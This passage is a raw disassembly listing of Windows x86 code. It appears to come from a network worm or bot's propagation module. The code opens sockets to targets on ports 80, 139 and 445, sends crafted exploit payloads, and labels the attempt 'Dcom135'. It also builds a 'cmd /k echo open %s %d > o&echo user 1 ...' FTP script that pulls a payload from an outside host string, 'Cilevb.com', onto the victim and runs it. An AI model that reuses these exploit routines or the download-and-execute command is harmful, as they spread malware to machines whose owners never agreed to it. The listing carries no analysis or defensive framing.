		push	esi
		call	ds:dword_43A3A0


loc_4044E9:				; CODE XREF: sub_40446E+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40446E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044ED	proc near		; CODE XREF: sub_404532+81p
					; sub_404532+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	ds:dword_43A384
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43A3D8
		cmp	eax, 4
		jz	short loc_404517
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_404517:				; CODE XREF: sub_4044ED+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_43A3D8
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_4044ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404532	proc near		; CODE XREF: sub_40460C+48p
					; seg000:00404A88p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_415DC9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40455B
		xor	al, al
		jmp	loc_404607
; ---------------------------------------------------------------------------


loc_40455B:				; CODE XREF: sub_404532+20j
		push	ebx
		push	0
		push	esi
		call	sub_415570
		push	2Fh
		push	offset dword_426118
		push	esi
		call	sub_4155D0
		push	8
		lea	eax, [esi+31h]
		push	offset dword_426148
		push	eax
		mov	[esi+2Fh], di
		call	sub_4155D0
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_4155D0
		push	6
		add	ebx, edi
		push	offset dword_438FBC
		push	ebx
		call	sub_4155D0
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_426090
		push	ebx
		call	sub_4044ED
		add	esp, 48h
		test	al, al
		jnz	short loc_4045C3


loc_4045BF:				; CODE XREF: sub_404532+B5j
		xor	bl, bl
		jmp	short loc_4045FE
; ---------------------------------------------------------------------------


loc_4045C3:				; CODE XREF: sub_404532+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40446E
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_4044ED
		add	esp, 1Ch
		test	al, al
		jz	short loc_4045BF
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40446E
		add	esp, 10h
		mov	bl, 1


loc_4045FE:				; CODE XREF: sub_404532+8Fj
		push	esi
		call	sub_415E3D
		pop	ecx
		mov	al, bl


loc_404607:				; CODE XREF: sub_404532+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404532	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40460C	proc near		; CODE XREF: seg000:00404A6Ep

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_426154
		push	[ebp+arg_0]
		call	ds:dword_4211EC	; send
		cmp	eax, 48h
		jnz	short loc_404647
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40446E
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404647
		cmp	[ebp+var_20], 82h
		jz	short loc_40464B


loc_404647:				; CODE XREF: sub_40460C+1Bj
					; sub_40460C+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40464B:				; CODE XREF: sub_40460C+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404532
		add	esp, 0Ch
		leave
		retn
sub_40460C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40465E	proc near		; CODE XREF: sub_4046AA+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	ds:dbl_421240
		call	sub_415F8C
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	ds:dbl_421238
		fstp	[esp+10h+var_10]
		call	sub_415E6C
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_415F8C
		inc	eax
		leave
		retn
sub_40465E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046AA	proc near		; CODE XREF: sub_40484C+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_420263
		call	sub_416458
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_404D21
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40465E
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_4046EC
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_404C9C


loc_4046EC:				; CODE XREF: sub_4046AA+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_404809
		mov	ebx, [ebp+10h]


loc_4046FB:				; CODE XREF: sub_4046AA+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_404705
		push	3
		jmp	short loc_404717
; ---------------------------------------------------------------------------


loc_404705:				; CODE XREF: sub_4046AA+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40470F
		push	2
		jmp	short loc_404717
; ---------------------------------------------------------------------------


loc_40470F:				; CODE XREF: sub_4046AA+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_404718
		push	1


loc_404717:				; CODE XREF: sub_4046AA+59j
					; sub_4046AA+63j
		pop	ebx


loc_404718:				; CODE XREF: sub_4046AA+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	ds:dbl_421250
		fstp	[esp+40h+var_40]
		call	sub_415FB3
		pop	ecx
		pop	ecx
		call	sub_415F8C
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_404757
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_404757:				; CODE XREF: sub_4046AA+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_4047C5
		add	[ebp-18h], eax


loc_4047A9:				; CODE XREF: sub_4046AA+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, ds:byte_4261A0[eax]
		push	eax
		push	1
		call	sub_404B1E
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_4047A9


loc_4047C5:				; CODE XREF: sub_4046AA+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_4047E3
		push	dword ptr [ebp+14h]
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_404B77
		mov	[ebp-18h], edi


loc_4047E3:				; CODE XREF: sub_4046AA+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_4047FD
		sub	esi, [ebp-1Ch]


loc_4047EE:				; CODE XREF: sub_4046AA+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_404B1E
		dec	esi
		jnz	short loc_4047EE


loc_4047FD:				; CODE XREF: sub_4046AA+13Fj
		cmp	[ebp+10h], edi
		ja	loc_4046FB
		push	1
		pop	ebx


loc_404809:				; CODE XREF: sub_4046AA+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_404D21
		push	ds:dword_421248
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_404BCE
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_404D21
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_4046AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40484C	proc near		; CODE XREF: seg000:00404A51p
		mov	eax, offset loc_420280
		call	sub_416458
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_438FAC
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_4046AA
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_415DC9
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_404896
		xor	bl, bl
		jmp	short loc_4048DA
; ---------------------------------------------------------------------------


loc_404896:				; CODE XREF: sub_40484C+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_421258
		cmp	ecx, ebx
		jnz	short loc_4048A4
		mov	ecx, eax


loc_4048A4:				; CODE XREF: sub_40484C+54j
		cmp	[ebp+18h], ebx
		jz	short loc_4048AC
		mov	eax, [ebp+18h]


loc_4048AC:				; CODE XREF: sub_40484C+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_415A6A
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	ds:dword_43A3D8
		cmp	eax, esi
		jz	short loc_4048D1
		xor	bl, bl
		jmp	short loc_4048D3
; ---------------------------------------------------------------------------


loc_4048D1:				; CODE XREF: sub_40484C+7Fj
		mov	bl, 1


loc_4048D3:				; CODE XREF: sub_40484C+83j
		push	edi
		call	sub_415E3D
		pop	ecx


loc_4048DA:				; CODE XREF: sub_40484C+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_404D21
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_404D21
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40484C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 624h
		and	byte ptr [ebp-424h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-423h]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-424h]
		push	offset sub_42634C
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		mov	eax, offset aCilevb_com	; "Cilevb.com"
		push	eax
		push	eax
		push	ds:dword_438FCC
		push	dword ptr [ebp+8]
		call	sub_40A171
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-395h]
		push	400h
		push	eax
		call	sub_415A6A
		add	eax, 90h
		push	eax
		lea	eax, [ebp-424h]
		push	eax
		push	164h
		lea	eax, [ebp-24h]
		push	offset sub_4261E4
		push	eax
		call	sub_404108
		mov	ecx, [eax]
		xor	esi, esi
		mov	[ebp-8], ecx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, esi
		mov	[ebp-4], eax
		jnz	short loc_4049AD
		xor	eax, eax
		jmp	loc_404B11
; ---------------------------------------------------------------------------


loc_4049AD:				; CODE XREF: seg000:004049A4j
		mov	[ebp-0Ch], esi


loc_4049B0:				; CODE XREF: seg000:00404AB0j
		test	esi, esi
		jnz	loc_404AB6
		push	6
		push	1
		push	2
		call	ds:dword_4211E0	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_404A9E
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	ds:dword_43A388
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	ds:dword_43A3C8
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_43A330
		cmp	eax, 0FFFFFFFFh
		jz	loc_404A93
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_404A5B
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_404D21
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_404D5D
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40484C
		add	esp, 1Ch
		jmp	short loc_404A90
; ---------------------------------------------------------------------------


loc_404A5B:				; CODE XREF: seg000:00404A19j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_404A75
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40460C
		jmp	short loc_404A8D
; ---------------------------------------------------------------------------


loc_404A75:				; CODE XREF: seg000:00404A65j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_404A93
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_404532


loc_404A8D:				; CODE XREF: seg000:00404A73j
		add	esp, 0Ch


loc_404A90:				; CODE XREF: seg000:00404A59j
		movzx	esi, al


loc_404A93:				; CODE XREF: seg000:00404A0Cj
					; seg000:00404A7Fj
		push	ebx
		call	ds:dword_43A420
		test	esi, esi
		jnz	short loc_404AA9


loc_404A9E:				; CODE XREF: seg000:004049C9j
		push	3E8h
		call	ds:dword_421060	; Sleep


loc_404AA9:				; CODE XREF: seg000:00404A9Cj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_4049B0


loc_404AB6:				; CODE XREF: seg000:004049B2j
		lea	ecx, [ebp-8]
		call	sub_403F2D
		test	esi, esi
		jz	short loc_404B0F
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aDcom135 ; "Dcom135"
		push	eax
		push	offset dword_426410
		lea	eax, [ebp-624h]
		push	200h
		push	eax
		call	sub_415A6A
		lea	eax, [ebp-624h]
		push	eax
		call	sub_40B16D
		mov	eax, [ebp+0B0h]
		add	esp, 18h
		imul	eax, 3Ch
		inc	ds:dword_427328[eax]
		lea	eax, dword_427328[eax]


loc_404B0F:				; CODE XREF: seg000:00404AC0j
		mov	eax, esi


loc_404B11:				; CODE XREF: seg000:004049A8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_420244


loc_404B16:				; CODE XREF: sub_420244+3j
					; seg000:0042025Dj ...
		push	1
		call	sub_404D21
		retn
; END OF FUNCTION CHUNK	FOR sub_420244

; =============== S U B	R O U T	I N E =======================================



sub_404B1E	proc near		; CODE XREF: sub_4046AA+110p
					; sub_4046AA+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, ds:dword_421248
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_404B38
		call	sub_41FDB0


loc_404B38:				; CODE XREF: sub_404B1E+13j
		test	ebx, ebx
		jbe	short loc_404B6F
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_404C9C
		test	al, al
		jz	short loc_404B6F
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_415570
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_404B6F:				; CODE XREF: sub_404B1E+1Cj
					; sub_404B1E+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404B1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_404B77	proc near		; CODE XREF: sub_4046AA+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, ds:dword_421248
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_404B91
		call	sub_41FDB0


loc_404B91:				; CODE XREF: sub_404B77+13j
		test	ebx, ebx
		jbe	short loc_404BC6
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_404C9C
		test	al, al
		jz	short loc_404BC6
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_4155D0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_404BC6:				; CODE XREF: sub_404B77+1Cj
					; sub_404B77+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404B77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404BCE	proc near		; CODE XREF: sub_4046AA+17Cp
					; sub_41FE0A+46p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_404BE6
		call	sub_41FFDC


loc_404BE6:				; CODE XREF: sub_404BCE+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_404BF8
		mov	esi, [ebp+arg_8]


loc_404BF8:				; CODE XREF: sub_404BCE+25j
		cmp	edi, ebx
		jnz	short loc_404C1A
		push	ds:dword_421248
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_404D92
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_404D92
		jmp	short loc_404C93
; ---------------------------------------------------------------------------


loc_404C1A:				; CODE XREF: sub_404BCE+2Cj
		test	esi, esi
		jbe	short loc_404C5D
		cmp	esi, eax
		jnz	short loc_404C5D
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404C2E
		mov	eax, offset dword_421258


loc_404C2E:				; CODE XREF: sub_404BCE+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_404C5D
		push	1
		mov	ecx, edi
		call	sub_404D21
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404C49
		mov	eax, offset dword_421258


loc_404C49:				; CODE XREF: sub_404BCE+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_404C93
; ---------------------------------------------------------------------------


loc_404C5D:				; CODE XREF: sub_404BCE+4Ej
					; sub_404BCE+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_404C9C
		test	al, al
		jz	short loc_404C93
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404C77
		mov	eax, offset dword_421258


loc_404C77:				; CODE XREF: sub_404BCE+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_4155D0
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_404C93:				; CODE XREF: sub_404BCE+4Aj
					; sub_404BCE+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_404BCE	endp


; =============== S U B	R O U T	I N E =======================================



sub_404C9C	proc near		; CODE XREF: sub_4046AA+3Dp
					; sub_404B1E+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_404CAE
		call	sub_41FDB0


loc_404CAE:				; CODE XREF: sub_404C9C+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_404CD7
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_404CD7
		cmp	al, 0FFh
		jz	short loc_404CD7
		cmp	edi, edx
		jnz	short loc_404D12
		dec	al
		push	edx
		mov	[ecx-1], al


loc_404CCC:				; CODE XREF: sub_404C9C+47j
		mov	ecx, esi
		call	sub_404D21


loc_404CD3:				; CODE XREF: sub_404C9C+4Bj
					; sub_404C9C+52j
		xor	al, al
		jmp	short loc_404D1C
; ---------------------------------------------------------------------------


loc_404CD7:				; CODE XREF: sub_404C9C+19j
					; sub_404C9C+20j ...
		cmp	edi, edx
		jnz	short loc_404CF0
		cmp	[esp+8+arg_4], dl
		jz	short loc_404CE5
		push	1
		jmp	short loc_404CCC
; ---------------------------------------------------------------------------


loc_404CE5:				; CODE XREF: sub_404C9C+43j
		cmp	ecx, edx
		jz	short loc_404CD3
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_404CD3
; ---------------------------------------------------------------------------


loc_404CF0:				; CODE XREF: sub_404C9C+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_404D0D
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_404D02
		cmp	eax, edi
		jnb	short loc_404D1A


loc_404D02:				; CODE XREF: sub_404C9C+60j
		push	1
		mov	ecx, esi
		call	sub_404D21
		jmp	short loc_404D12
; ---------------------------------------------------------------------------


loc_404D0D:				; CODE XREF: sub_404C9C+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_404D1A


loc_404D12:				; CODE XREF: sub_404C9C+28j
					; sub_404C9C+6Fj
		push	edi
		mov	ecx, esi
		call	sub_404DF9


loc_404D1A:				; CODE XREF: sub_404C9C+64j
					; sub_404C9C+74j
		mov	al, 1


loc_404D1C:				; CODE XREF: sub_404C9C+39j
		pop	edi
		pop	esi
		retn	8
sub_404C9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_404D21	proc near		; CODE XREF: sub_4046AA+1Fp
					; sub_4046AA+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_404D4D
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_404D4D
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_404D46
		cmp	al, 0FFh
		jz	short loc_404D46
		dec	al
		mov	[ecx], al
		jmp	short loc_404D4D
; ---------------------------------------------------------------------------


loc_404D46:				; CODE XREF: sub_404D21+19j
					; sub_404D21+1Dj
		push	ecx
		call	sub_416477
		pop	ecx


loc_404D4D:				; CODE XREF: sub_404D21+8j
					; sub_404D21+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_404D21	endp


; =============== S U B	R O U T	I N E =======================================



sub_404D5D	proc near		; CODE XREF: seg000:00404A45p
					; sub_404EB6+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_404C9C
		test	al, al
		jz	short loc_404D8B
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_4155D0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_404D8B:				; CODE XREF: sub_404D5D+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_404D5D	endp


; =============== S U B	R O U T	I N E =======================================



sub_404D92	proc near		; CODE XREF: sub_404BCE+39p
					; sub_404BCE+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_404DA5
		call	sub_41FFDC


loc_404DA5:				; CODE XREF: sub_404D92+Cj
		mov	ecx, edi
		call	sub_404EB6
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_404DBB
		mov	ebx, eax


loc_404DBB:				; CODE XREF: sub_404D92+25j
		test	ebx, ebx
		jbe	short loc_404DF1
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_416490
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_404C9C
		test	al, al
		jz	short loc_404DF1
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_404DF1:				; CODE XREF: sub_404D92+2Bj
					; sub_404D92+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404D92	endp


; =============== S U B	R O U T	I N E =======================================



sub_404DF9	proc near		; CODE XREF: sub_404C9C+79p
		mov	eax, offset loc_42028C
		call	sub_416458
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_404E1F
		mov	edi, [ebp+8]


loc_404E1F:				; CODE XREF: sub_404DF9+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_404E2C
		xor	eax, eax


loc_404E2C:				; CODE XREF: sub_404DF9+2Fj
		push	eax
		call	sub_4167C5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_404E5D
; ---------------------------------------------------------------------------


loc_404E38:				; DATA XREF: seg001:00421F0Co
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_404E47
		xor	eax, eax


loc_404E47:				; CODE XREF: sub_404DF9+4Aj
		push	eax
		call	sub_4167C5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_404E57
		retn
; ---------------------------------------------------------------------------


loc_404E57:				; DATA XREF: sub_404DF9+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_404E5D:				; CODE XREF: sub_404DF9+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_404E7B
		cmp	eax, edi
		jbe	short loc_404E6A
		mov	eax, edi


loc_404E6A:				; CODE XREF: sub_404DF9+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_4155D0
		add	esp, 0Ch


loc_404E7B:				; CODE XREF: sub_404DF9+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_404D21
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_404E9B
		mov	edi, ebx


loc_404E9B:				; CODE XREF: sub_404DF9+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_404DF9	endp


; =============== S U B	R O U T	I N E =======================================



